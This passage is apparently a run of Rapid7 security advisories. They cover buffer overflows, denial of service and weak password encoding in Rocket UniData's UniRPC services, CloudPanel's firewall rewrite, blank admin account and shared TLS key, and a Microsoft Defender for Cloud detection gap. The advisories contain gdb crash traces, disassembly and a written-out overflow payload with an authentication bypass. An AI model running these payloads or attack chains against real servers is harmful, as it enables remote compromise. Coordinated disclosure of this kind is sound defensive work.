In udsub, the main function calls U_sub_connect (in the udsub binary), which calls U_unpack_conn_package (in the libunidata.so library), which calls the vulnerable function U_get_string_value (also in the libunidata.so library). Here’s a stack trace to help clarify (unfortunately, we don’t have source file names or line numbers for any of these functions):


Breakpoint 2, 0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
(gdb) bt
#0  0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
#1  0x00007ffff7202259 in U_unpack_conn_package () from /.udlibs82/libunidata.so
#2  0x000000000040361f in U_sub_connect ()
#3  0x00000000004023ea in main ()

We wrote a proof of concept, udsub_stackoverflow_get_string_value.rb, which will overflow the buffer and crash the process while attempting to return from U_unpack_conn_package to the address 0x4242424242424242:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=14678 - 16:37:31 - looking for service unirep82
RPCPID=14678 - 16:37:31 - Found service=unirep82
RPCPID=14678 - 16:37:31 - Checking host: *
RPCPID=14678 - 16:37:31 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 14678 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff72023fd in U_unpack_conn_package () from /.udlibs82/libunidata.so

(gdb) x/i $rip
=> 0x7ffff72023fd <U_unpack_conn_package+605>:	ret    

(gdb) x/xwg $rsp
0x7fffffffd558:	0x4242424242424242

Unlike the password-based overflows, we cannot use a NUL byte so we cannot reliably return to a useful address; however, more complex exploits are likely possible.

CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave

We found a post-authentication stack overflow in the udapi_slave binary, accessible through the udapi_server binary, which is accessed via the udcs service. Successfully exploiting this issue likely leads to remote code execution as the authenticated user. Due to the authentication bypass detailed in CVE-2023-28503, this is exploitable as the root user without knowing their password.

The udapi_slave binary is somewhat different from other services, because it’s not an RPC service; instead, it’s executed by an RPC service, which proxies the bodies of RPC requests with a different header. From a network perspective, it behaves identically to a standard UniRPC service, except that the messages are formatted a little bit differently internally.

The RPC message used to authenticate to udapi_serve (and therefore udapi_slave) has more fields than a typical authentication message that other services use. We documented the following fields (note that, as usual, names are usually guesswork):

  • (integer) comms_version — likely a version number, and used as part of password encoding
  • (integer) other_version — another version number, whose name we could not determine (but that only has a few valid values)
  • (string) username — this is processed slightly differently than usernames in other services, but the authentication bypass documented in CVE-2023-28503 still works, except that the username must be ::local: (an extra colon at the start)
  • (string) password — this is treated exactly like the password in other authentication messages, including the bypass documented in CVE-2023-28503
  • (string) account — an account name that’s passed into the change_account() function, which insecurely copies it into a buffer

The change_account() function, which appears to be in the file src/ud/udtapi/api_slave.c around line 1154, copies the account argument into a stack-based buffer using u2memcpy. It uses the length of the string, as provided by the user, but always copies the data into a 296-byte stack-based buffer. Additionally, because it uses memcpy and a user-defined size, NUL bytes are permitted and we can therefore use memory addresses as part of our proof of concept.

Here’s the vulnerable parts of the change_account() function:

.text:000000000040FC90 ; __int64 __fastcall change_account(int account_length, char *account)
[...]
.text:000000000040FC91                 lea     rcx, aDisk1AgentWork_0 ; filename = "/disk1/agent/workspace/ud_build/src/ud/"...
[...]
.text:000000000040FC9B                 mov     r8d, 482h       ; line = 1154
.text:000000000040FCA1                 mov     rdx, rbp        ; length - length of the user's `account` string
[...]
.text:000000000040FCAC                 lea     rbx, [rsp+138h+account_name_copy] ; 296-byte buffer
.text:000000000040FCB1                 mov     rdi, rbx        ; dst = 296-byte buffer
.text:000000000040FCB4                 call    _u2memcpy

We wrote a proof of concept in udapi_slave_stackoverflow_change_account.rb, which crashes the service at a debug breakpoint (assuming it’s the exact version we tested; otherwise, it will likely crash with a segmentation fault). Note that due to the fork, we have to set follow-fork-mode to child ingdb; otherwise, we won’t see the child process crash:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) set follow-fork-mode child

(gdb) run

Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=15389 - 16:50:43 - accept: execing /home/ron/unidata/unidata/bin/udapi_server
process 15389 is executing new program: /home/ron/unidata/unidata/bin/udapi_server
[...]
[Attaching after process 15394 fork to child process 15394]
[New inferior 2 (process 15394)]
[...]
process 15394 is executing new program: /home/ron/unidata/unidata/bin/udapi_slave
[...]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0x7ffff7fe5780 (LWP 15394)]
0x00000000004007b1 in ?? ()

We can also skip all the RPC stuff by running udapi_slave directly and sending the payload on stdin (this will only work if you already have shell access to the service, so it’s not a useful exploit):

[ron@unidata bin]$ echo -ne "\x01\x00\x00\x00\x7c\x01\x00\x00\x05\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x03\x00\x00\x00\x0b\x00\x00\x00\x03\x00\x00\x01\x30\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x74\x65\x73\x74\x74\x65\x73\x74\x3a\x3a\x6c\x6f\x63\x61\x6c\x3a\x76\x6b\x6b\x70\x3e\x34\x3e\x35\x36\x37\x30\x58\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb0\x07\x40\x00\x00\x00\x00\x00" | ./udapi_slave 0 1 2

[...]
Trace/breakpoint trap

Because this overflow is in u2memcpy instead of u2strcpy, NUL bytes are permitted and therefore this is likely to be exploitable.

CVE-2023-28507: Memory exhaustion DoS in LZ4 decompression

We found a way to exhaust large amounts of memory in the LZ4 decompression function in the unirpcd daemon. The memory is immediately freed after the decompression ultimately fails, so this is not a major attack, but we decided it was worth documenting since a sustained attack using this technique may use a lot of server resources.

UniRPC messages can be compressed using LZ4 compression by setting a flag in the header. The decompression function is called LZ4_decompress_safe, and is found in the unirpcd executable. It appears that LZ4_decompress_safe doesn’t distinguish between "invalid data" and "buffer too small". When the function fails, the UniRPC code expands the buffer and tries again — over and over until it requests an enormous amount of memory and the allocation fails, at which point the process ends with an error code.

Here’s the code in question, from unirpcd:

.text:000000000040778B      test    eax, eax        ; eax = number of bytes decompressed (if successful)
.text:000000000040778D      jns     decompression_successful ; Jump if it's >0

.text:0000000000407793      mov     eax, cs:uvrpc_cmpr_buf_len
.text:0000000000407799      mov     rdi, cs:uvrpc_cmpr_buf_ptr ; ptr
.text:00000000004077A0      lea     ebx, [rax+rax]  ; Otherwise, double the buffer size
.text:00000000004077A3      lea     edx, ds:0[rax*8]
.text:00000000004077AA      cmp     eax, 0FFFFh
.text:00000000004077AF      cmovle  ebx, edx
.text:00000000004077B2      movsxd  rsi, ebx        ; size
.text:00000000004077B5      call    _realloc ; Allocate double the memory
.text:00000000004077BA      test    rax, rax
.text:00000000004077BD      jz      decompression_failed ; Fail if we're out of memory
.text:00000000004077C3      mov     edx, dword ptr [rsp+88h+tmpvar] ; compressedSize
.text:00000000004077C7      mov     rdi, [rsp+88h+incoming_body_ptr] ; src
.text:00000000004077CC      mov     ecx, ebx        ; dstCapacity
.text:00000000004077CE      mov     rsi, rax        ; dst
.text:00000000004077D1      mov     cs:uvrpc_cmpr_buf_len, ebx
.text:00000000004077D7      mov     cs:uvrpc_cmpr_buf_ptr, rax
.text:00000000004077DE      call    LZ4_decompress_safe ; Otherwise, try again (forever)
.text:00000000004077E3      jmp     short loc_40778B

If we run unirpcd-oneshot and put a breakpoint on the realloc function, then run that script against the server, we’ll see increasingly large memory allocations:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) b realloc
Breakpoint 1 at 0x402f80
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21615 - 18:46:45 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21615 - 18:46:45 - portno=12345
RPCPID=21615 - 18:46:45 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the proof of concept here...]

RPCPID=21615 - 18:48:08 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21615 - 18:48:08 - accept: forking

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=65728) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=131456) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

[...]

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffd51c8010, bytes=538443776) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffb5047010, bytes=1076887552) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fff74d46010, bytes=18446744071568359424) at malloc.c:2964
2964	{
(gdb) cont
Continuing.
RPCPID=21615 - 18:48:40 - in accept read_packet returns 13c84
[Inferior 1 (process 21615) exited with code 01]

Note that the final attempt tries to allocate an enormous amount of memory — 18,446,744,071,568,359,424 bytes, or about 18.4 exabytes, which fortunately fails on my lab machine.

CVE-2023-28508: Post-authentication heap overflow in udsub

We discovered a post-authentication heap overflow vulnerability in the udsub executable (accessed via the RPC service unirep82) that, if successfully exploited, could lead to remote code execution as the authenticated user. We caused the service to crash when it tried to free an invalid pointer after a complex subscription request. Due to the complexity, we didn’t track down the root cause of the issue, and therefore can’t say with certainty whether this is exploitable for code execution or merely a denial of service.

Note that while this requires authentication, the authentication bypass issue detailed as CVE-2023-28503 permits us to access this service as the root user without requiring a password.

We wrote a proof of concept, which demonstrates the issue; here’s what the service looks like when we run that script:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21890 - 18:51:59 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21890 - 18:51:59 - portno=12345
RPCPID=21890 - 18:51:59 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the script here...]

RPCPID=21890 - 18:52:06 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21890 - 18:52:06 - accept: forking
RPCPID=21890 - 18:52:06 - argcount = 2(1: pre-6/10 client,2: SSL client)
RPCPID=21890 - 18:52:06 - looking for service unirep82
RPCPID=21890 - 18:52:06 - Found service=unirep82
RPCPID=21890 - 18:52:06 - Checking host: *
RPCPID=21890 - 18:52:06 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 21890 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

*** Error in `/home/ron/unidata/unidata/bin/udsub': free(): invalid pointer: 0x000000000062dd00 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x81329)[0x7ffff4b61329]
/.udlibs82/libunidata.so(U_unpack_conn_package+0x66e)[0x7ffff720280e]
/home/ron/unidata/unidata/bin/udsub[0x40361f]
/home/ron/unidata/unidata/bin/udsub[0x4023ea]
/lib64/libc.so.6(__libc_start_main+0xf5)[0x7ffff4b02555]
/home/ron/unidata/unidata/bin/udsub[0x4033de]

CVE-2023-28509: Weak encryption

We found several different places where encoding or obfuscation happens in UniRPC communications where the intent appears to be encryption (based on the name or context). At best, they’re a simple encoding that hides data on the wire from the most naive eavesdropping (like negating each byte in a password); at worst, multiple layers of this obfuscation can cancel out the obfuscation entirely, or even enable other attacks to work by encoding NUL bytes.

Here, I’ll list a few encryption issues that stood out while working on this research project. We implemented these throughout libneptune.

Encryption bit in UniRPC packet header

The UniRPC packet header is 24 (0x18) bytes long, and is composed of the following fields (we don’t have the official names, so these are guesses based on context):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

This is implemented in the build_packet() function in the libneptune.rb library.

When set, the is_encrypted field tells the receiver that the packet has been obfuscated by XOR’ing every byte of the body with a static byte. Depending on the value of encryption_mode, that static byte is either 1 or 2.

This is not useful for encryption, if that was the intent, because all the information needed to decrypt it is in the packet header (and obfuscation in the form of XOR-by-a-constant is generally obvious to observers and is very easy to decode).

Password encoding in udadmin_server

The first message sent to udadmin_server requires three fields:

  • (integer) opcode (always0x0F / 15)
  • (string) username
  • (string) encoded password

The opcode is an integer value that doesn’t change — no value besides 0x0f works. The username is a standard string. The password, however, is passed into a function called rpcEncrypt() after copying it into a buffer. In that function, each byte of the string is negated with the logical not function (ie, binary 0 becomes 1 and 1 becomes 0).

Again, an easily reversible operation (that is also fairly obvious to inspection) does not provide any level of security. This is also directly responsible for CVE-2023-28502 being exploitable, because it allows us to encode NUL bytes as part of an overflow where that would otherwise not be permitted.

Password encoding in U_rep_rpc_server_submain()

The U_rep_rpc_server_submain() function in libunidata.so encodes passwords exactly the same way as udadmin (above), and is used by several different RPC services. It has all the same problems, including enabling strcpy()-based buffer overflow exploits to contain NUL bytes.

Password encoding in udapi_server and udapi_slave

udapi_server and udapi_slave use different (but still trivially decodable) password encodings. Instead of negating each byte like in other services, each byte is XOR’d by the comms_version field, which is a value between 2 and 4 (inclusive).

This is particularly interesting because, in a normal situation, the login message (with the literal account username / password) might have each character in the password XOR’d by 2, which looks like this:

00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 00 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  41 42 43 44 00 00 00 00  |........ABCD....|
00000020  41 42 43 44 00 00 00 00  00 00 00 08 00 00 00 03  |ABCD............|
00000030  00 00 00 08 00 00 00 03  00 00 00 04 00 00 00 03  |................|
00000040  00 00 00 02 00 00 00 05  75 73 65 72 6e 61 6d 65  |........username|
00000050  72 63 71 71 75 6d 70 66  2f 74 6d 70              |rcqqumpf/tmp|

The literal username username is in the packet, but the password is encoded to rcqqumpf. That’s somewhat hidden, but very easy to recognize and break.

But if we then enable packet-level encryption, it can XOR the entire message by 2, then also XOR the password by 2, which effectively undoes the encoding and leaves the password (and only the password) visible:

$ ruby ./test.rb | hexdump -C
00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 01 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  43 40 41 46 02 02 02 02  |........C@AF....|
00000020  43 40 41 46 02 02 02 02  02 02 02 0a 02 02 02 01  |C@AF............|
00000030  02 02 02 0a 02 02 02 01  02 02 02 06 02 02 02 01  |................|
00000040  02 02 02 00 02 02 02 07  77 71 67 70 6c 63 6f 67  |........wqgplcog|
00000050  70 61 73 73 77 6f 72 64  2d 76 6f 72              |password-vor|

This obviously isn’t an enormous issue, since the passwords are fairly easy to decode anyways, but encoding that undoes itself in certain situations is an interesting edge case of this type of obfuscation.

Remediation

Rocket Software has confirmed they have released patches for customers, available on the Rocket Business Connect portal. If you are running Rocket UniData or UniVerse, the Rocket MultiValue team strongly advises you to upgrade to the latest hotfixes. Specifically, Rocket Software has indicated the patched versions are:

  • UniData 8.2.4 build 3003
  • UniVerse 11.3.5 build 1001
  • UniVerse 12.2.1 build 2002 (available April 14, 2023)

Timeline

  • December, 2022 – January, 2023: Issues identified by Rapid7 researcher Ron Bowes
  • January 24, 2023: Privately disclosed findings to Rocket Software’s VDP per Rapid7’s CVD policy
  • March 2, 2023: Rocket Software confirmed that they are working on patches and are on track to meet our proposed disclosure date
  • March 29, 2023: Coordinated release of Rocket Software and Rapid7 disclosures (this document)

CVE-2023-0391: MGT-COMMERCE CloudPanel Shared Certificate Vulnerability and Weak Installation Procedures

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2023/03/21/cve-2023-0391-mgt-commerce-cloudpanel-shared-certificate-vulnerability-and-weak-installation-procedures/

CVE-2023-0391: MGT-COMMERCE CloudPanel Shared Certificate Vulnerability and Weak Installation Procedures

While using the popular self-hosted web administration solution, CloudPanel from MGT-COMMERCE, Rapid7 researcher Tod Beardsley discovered three security concerns. The first, an issue involving the trustworthiness of the installation script provided by the vendor, was an instance of CWE-494: Download of Code Without Integrity Check, and was quickly addressed by the vendor in under a day.

The second issue was with how the installer overwrites local firewall rules to be overly permissive during setup, and appears to be an instance of CWE-183: Permissive List of Allowed Inputs. The third issue is more long-term; CloudPanel installations all share the same SSL certificate private key. This appears to be an instance of CWE-321: Use of Hard-coded Cryptographic Key.

Product Description

MGT-COMMERCE’s CloudPanel is a free solution designed to ease the burden of administering self-hosted Linux servers, and is featured prominently at cloud virtual hosting providers such as AWS, Azure, GCP, Digital Ocean, and many others. More about CloudPanel can be found at the vendor’s website.

Credit

These issues were discovered and reported by Tod Beardsley, a security researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

While experimenting with some self-hosting solutions for personal use, Beardsley discovered three issues that appear to place new CloudPanel installations at risk of opportunistic attacks across the internet.

Pipe Curl to Bash

The first issue, an instance of CWE-494 involving the trustworthiness of the "curl to bash" installation procedure documented by the vendor was quickly addressed by publishing a cryptographically secure checksum of the installation script. The vendor’s website now includes this check for a sha256 hash, as seen in the screenshot below.

CVE-2023-0391: MGT-COMMERCE CloudPanel Shared Certificate Vulnerability and Weak Installation Procedures

This hash changes as new versions of the install script are released, of course, so it may be different by the time you read this advisory. A strategy of publishing a cryptographically secure hash and incorporating a check of that hash should alleviate any concern about the usual "pipe curl to bash" procedure for downloading and installing software over the internet. If you trust the vendor’s website, and if the vendor’s website is itself protected with an HTTPS certificate, then you should be confident that the installation script they provide is actually the installation script you expect to run. We urge other software providers to incorporate a similar hash check for distributing their installation scripts if they must distribute them via "pipe curl to bash" schemes.

Firewall Rule Rewrite On Installation

The instance of CWE-183 arises due to the fresh installation procedure recommended by the vendor in their documentation. During installation, the installation script preemptively discards local firewall rules for the host operating system, replacing them with much more permissive rules.

In the test case, the local firewall rules (as seen by ufw) are pre-set as:

root@debian11:~# ufw status numbered
Status: active

     To                         Action      From
     --                         ------      ----
[ 1] Anywhere                   ALLOW IN    1.2.3.4               
[ 2] 80:8443/tcp                DENY IN     Anywhere  

(Note, the allowed IP address has been replaced with "1.2.3.4")

The above rules state, "Allow any traffic from 1.2.3.4, deny all traffic to ports 80 through 8443 to everyone else." The ufw configuration also concludes with a general default deny rule (not seen here).

During installation, and upon completion of that one-command piping bash to curl installation procedure, these rules are changed to:

root@debian11:~# ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
22/tcp                     ALLOW IN    Anywhere                  
80/tcp                     ALLOW IN    Anywhere                  
443                        ALLOW IN    Anywhere                  
8433:8443/tcp              ALLOW IN    Anywhere                  
22/tcp (v6)                ALLOW IN    Anywhere (v6)             
80/tcp (v6)                ALLOW IN    Anywhere (v6)             
443 (v6)                   ALLOW IN    Anywhere (v6)             
8433:8443/tcp (v6)         ALLOW IN    Anywhere (v6) 

These rules are, of course, far more permissive, specifically because they removed the deny rules as well as the custom IP address allow rule I had set prior to installation.

Furthermore, upon completion of the initial installation, the superuser administrator account for CloudPanel is blank. This is a problem because, typically, a user would navigate to the host server web panel and set the password to their chosen value. However, once installation is complete, and if the machine is on the routable internet (as is intended), an attacker could visit the same web panel and set the administration user account to their chosen password, thus effectively administrating the machine.

Note, the opportunity for attack is limited, since the legitimate CloudPanel administrator has the opportunity to reset firewall rules once installation is complete. However, when installation is complete, there is no notification that firewall rules have been discarded and replaced, so the legitimate user is left to discover this on their own.

If an attacker does manage to seize control during the vulnerable window of opportunity, they could install the malware of their choice, replace certificates, or otherwise alter the underlying operating system as an authenticated administrator, since the whole purpose of CloudPanel is to ease the task of OS management.

The trick for the attacker, then, is to find fresh installations of CloudPanel. This seems unlikely on the open internet assuming users are quick to set their superuser administrator account password, but issue CVE-2023-0391, described next, makes the job of finding these fresh CloudPanel servers much easier, in an automated way.

CVE-2023-0391: Reused Certificates

Upon installation, CloudPanel ships with a static SSL certificate to encrypt communications to the administrative interface. Because the SSL certificate is generated once by MGT-COMMERCE and shipped with every installation of CloudPanel, this state of affairs is exploitable for two outcomes.

First, because the SSL certificate has a unique but reused public key, searching for unmodified CloudPanel instances is trivial with modern network scanning techniques. All an attacker would need to do is target a given IP address space used by a targeted Virtual Private Server (VPS) provider, and continuously look for HTTPS services running on port 8443 (the default for this web administration portal) and certificates that match the public key fingerprint seen below:

CVE-2023-0391: MGT-COMMERCE CloudPanel Shared Certificate Vulnerability and Weak Installation Procedures

Using these search parameters, an attacker can continuously search, in real time, for new instances of CloudPanel, and then exploit the CWE-183 issue described above. Of course, other techniques exist for identifying CloudPanel instances, but the reused certificate leads to a secondary, more serious problem.

Since the private key also ships with every installation of CloudPanel, and CloudPanel is freely available to anyone who cares to download it, the encryption provided by the HTTPS connection is not trustworthy. An attacker with the private key can easily decrypted captured traffic, either in real time through a privileged position on the network between the client and the server, or later with captured network traffic. In either case, sensitive information such as an administrator password and session tokens would be immediately available to the attacker.

According to Shodan, as of January 18, 2023, there are about 5,800 servers providing a certificate issued by ‘cloudpanel.clp`, the self-signed authority found on the shipping default certificate. These servers are found mostly in the United States and Germany (which is unsurprising given that the vendor is a German company), and mostly in DigitalOcean VPS environments. This figure is close to our own scanning with Project Sonar, which has spotted 6,785 running instances as of January 27, 2023.

CVE-2023-0391: MGT-COMMERCE CloudPanel Shared Certificate Vulnerability and Weak Installation Procedures

Impact

By chaining together the firewall permissiveness and the reused certificate issues together, an attacker can target and exploit new CloudPanel instances as they are being deployed. It’s important to note that CloudPanel is touted to be an easy to use interface for basic Linux administration, is targeted at relatively inexperienced users, and much of the documentation presumes an installation procedure live on the routable internet with a fresh VPS instance.

Furthermore, it would appear that CloudPanel is currently enjoying a burst of uptake among new Fediverse-aware users (this researcher included). While self-hosting is a perfectly innocent and often virtuous goal for distributing personal and professional content, it does come with some additional security responsibilities that are traditionally taken up by dedicated professional services.

Unfortunately, those dedicated professionals are absent in the DIY, roll-your-own kind of environment encouraged by Fediverse fans, and users are left to fend for themselves when it comes to secure software deployment. In light of this advisory, users interested in self-hosting solutions are urged to be aware of the special security considerations that come along with offering services on the general internet. In years past, this would go without saying, but the late 2022 turmoil around untrustworthy centralized services such as Twitter may be generating a new wave of inexperienced sysadmins on the internet, similar the the surge of general internet usage during the Eternal September of 1993.

Remediation

As of this publication, the firewall rewriting issue, the blank superuser password, and CVE-2023-0391 remain unfixed by the vendor. The issues described in the firewall rewrite issue could be fixed by the installation script taking a snapshot of the existing firewall rules, and programmatically creating a ruleset that incorporates the user’s original intent with those rules. At the least, the script should identify, and warn the user, that firewall rules are about to be re-written.

The superuser administrator account should be created with a random, per-install password, and display that password on the console upon completion; once the user logs in for the first time, they could then be prompted to change the password.

Absent a patch for these issues, users should take care to install CloudPanel only on isolated networks in a way that is isolated beyond local firewall rules. Practically speaking, as long as the user is installing CloudPanel attentively, and watching for the moment the web service becomes available, attackers will only have a minute or so of exposure to take advantage of. Local, same-machine attackers aside, this should be good enough for most use cases.

For the second issue, the vendor could provide, as part of the installation script, a mechanism to create a unique self-signed SSL certificate during installation, and conclude the installation by printing the fingerprint on the console output.

Absent a patch for CVE-2023-0391, users of CloudPanel are encouraged to generate and install their own certificate for SSL use in order to avoid being so trivially fingerprintable by automated scans, and in order to ensure that the cryptographic security provided by HTTPS is actually secure against passive monitoring.

Disclosure Timeline

  • November, 2022: CWE-183 and CWE-494 issues discovered by Tod Beardsley of Rapid7
  • Wed, Nov 23, 2022: CWE-183 and CWE-494 reported to the vendor
  • Thu, Nov 24, 2022: Report acknowledged by the vendor, CWE-494 addressed
  • December, 2022: CVE-2023-0391 discovered
  • Wed, Jan 18, 2023: CVE-2023-0391 reported to the vendor
  • Tue, March 21, 2022: This public disclosure

Microsoft Defender for Cloud Management Port Exposure Confusion

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2023/03/14/microsoft-defender-for-cloud-management-port-exposure-confusion/

Microsoft Defender for Cloud Management Port Exposure Confusion

Prior to March 9, 2023, Microsoft Defender for Cloud incorrectly marked some Azure virtual machines as having secured management ports including SSH (port 22/TCP), RDP (port 3389/TCP) and WINRM (port 5985/TCP), when in fact one or more of these ports were exposed to the internet. This occured when the Network Security Group (NSG) associated with the virtual machine contained a rule that allowed access to one of these ports from the IPv4 range “0.0.0.0/0”. Defender for Cloud would only detect an open management port if the source in the port rule is set to the literal alias of “Any”. Although the CIDR-notated network of "/0" is often treated as synonymous with "Any," they are not equivalent in Defender for Cloud’s logic.

Note that as of this writing, the same issue appears when using the IPv6 range “::/0” as a synonym for "any" and Microsoft has not yet fixed this version of the vulnerability.

Product Description

Microsoft Defender for Cloud is a cloud security posture management (CSPM) solution that provides several security capabilities, including the ability to detect misconfigurations in Azure and multi-cloud environments. Defender for Cloud is described in detail at the vendor’s website.

Security groups are a concept that exists in both Azure and Amazon Web Services (AWS) cloud environments. Similar to a firewall, a security group allows you to create rules that limit what IP addresses/ranges can access which ports on one or more virtual machines in the cloud environment.

Credit

This issue was discovered by Aaron Sawitsky, Senior Manager for Cloud Product Integrations at Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

If an Azure Virtual Machine is associated with a Network Security Group with “management ports” such as RDP (Remote Desktop Protocol on port 3389/TCP) or SSH (Secure Shell protocol on port 22/TCP) exposed to the "Any" pseudo-class for "Source," Microsoft Defender for Cloud will create a security recommendation to highlight that the management port is open to the internet, which allows an administrator to easily recognize that there is a virtual machine in their environment with one or more over-exposed server management ports.

However, prior to March 9th, if the Network Security Group was instead configured such that a “management port” like RDP or SSH was exposed to “0.0.0.0/0,” as a source (which is the entire IPv4 range of all possible addresses) no security recommendation was created and the configuration was incorrectly marked as “Healthy.”

The effect is demonstrated in the screenshots below:

Microsoft Defender for Cloud Management Port Exposure Confusion
Microsoft Defender for Cloud Management Port Exposure Confusion

Because of this network scope confusion, Azure users can easily and accidentally expose management ports to the entire internet and evade detection by Defender for Cloud.

We suspect that other Defender for Cloud features that check for the "any-ness" of ingress tests are similarly affected, but we have not comprehensively tested for other manifestations of this issue.

Impact

We can imagine two cases where this unexpected behavior in Defender for Cloud could be useful for attackers. First, it’s likely that administrators are unaware of any practical semantic difference between "Any" and "0.0.0.0/0" or “::/0” since these terms are often used interchangeably in other networking products, most notably, as when configuring AWS Security Groups. As a result, this misconfiguration could be accidentally applied by a legitimate administrator, but remain undetected by the person or process responsible for monitoring Defender for Cloud security recommendations. This is the most likely scenario most administrators will face.

More maliciously, an attacker who has already compromised a virtual Azure-hosted machine could leverage this confusion to avoid post-exploit detection by the Defender for Cloud. This makes repeated, post-exploit access from several different sources much easier for more sophisticated attackers. In this case, the "attacker" will often be an insider who is merely subverting their own IT security organization for ostensibly virtuous, just-get-it-done reasons, such as testing a configuration in production, but forgetting to re-limit the exposure.

